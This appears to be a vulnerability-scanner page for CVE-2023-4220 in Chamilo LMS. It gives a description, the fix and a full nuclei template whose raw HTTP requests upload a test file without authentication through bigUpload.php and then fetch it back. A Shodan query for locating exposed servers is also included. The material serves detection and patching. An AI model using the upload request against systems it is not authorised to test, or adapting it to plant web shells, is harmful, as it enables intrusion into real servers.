CVE-2023-4220· chamilo / chamilo lms· CWE-434
Chamilo LMS <= 1.11.24 - Remote Code Execution
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
Impact
Unauthenticated attackers can upload arbitrary files including web shells through the bigUpload functionality, potentially achieving remote code execution and compromising the entire Chamilo LMS learning management system.
Fix
Update Chamilo LMS to a version newer than 1.11.24 that validates file types and extensions in bigUpload.php and restricts uploads to safe file types only.
How to confirm it
Send: POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported ; GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt
Positive when: contains(body_2,"{{md5(num)}}") and status_code_1 == 200 && status_code_2 == 200Run it with nuclei: nuclei -id CVE-2023-4220 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2023-4220
info:
name: Chamilo LMS <= 1.11.24 - Remote Code Execution
author: s4e-io
severity: medium
description: |
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
impact: |
Unauthenticated attackers can upload arbitrary files including web shells through the bigUpload functionality, potentially achieving remote code execution and compromising the entire Chamilo LMS learning management system.
remediation: |
Update Chamilo LMS to a version newer than 1.11.24 that validates file types and extensions in bigUpload.php and restricts uploads to safe file types only.
reference:
- https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit
- https://github.com/charlesgargasson/CVE-2023-4220
- https://starlabs.sg/advisories/23/23-4220/
- https://nvd.nist.gov/vuln/detail/CVE-2023-4220
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-4220
cwe-id: CWE-434
epss-score: 0.76084
epss-percentile: 0.99535
cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: chamilo
product: chamilo_lms
shodan-query: "X-Powered-By: Chamilo"
tags: cve,cve2023,chamilo,lms,rce,intrusive,file-upload,vkev,vuln
variables:
filename: "{{rand_base(10)}}"
num: "{{rand_int(1000, 9999)}}"
http:
- raw:
- |
POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=------------------------SwxF5rRaZb4lETWlpulXn3
--------------------------SwxF5rRaZb4lETWlpulXn3
Content-Disposition: form-data; name="bigUploadFile"; filename="{{filename}}.txt"
Content-Type: application/octet-stream
{{md5(num)}}
--------------------------SwxF5rRaZb4lETWlpulXn3--
- |
GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body_2,"{{md5(num)}}")'
- "status_code_1 == 200 && status_code_2 == 200"
condition: andReferences
- https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit
- https://github.com/charlesgargasson/CVE-2023-4220
- https://starlabs.sg/advisories/23/23-4220/
- https://nvd.nist.gov/vuln/detail/CVE-2023-4220
Use this check only on systems you are authorised to test. Where the data comes from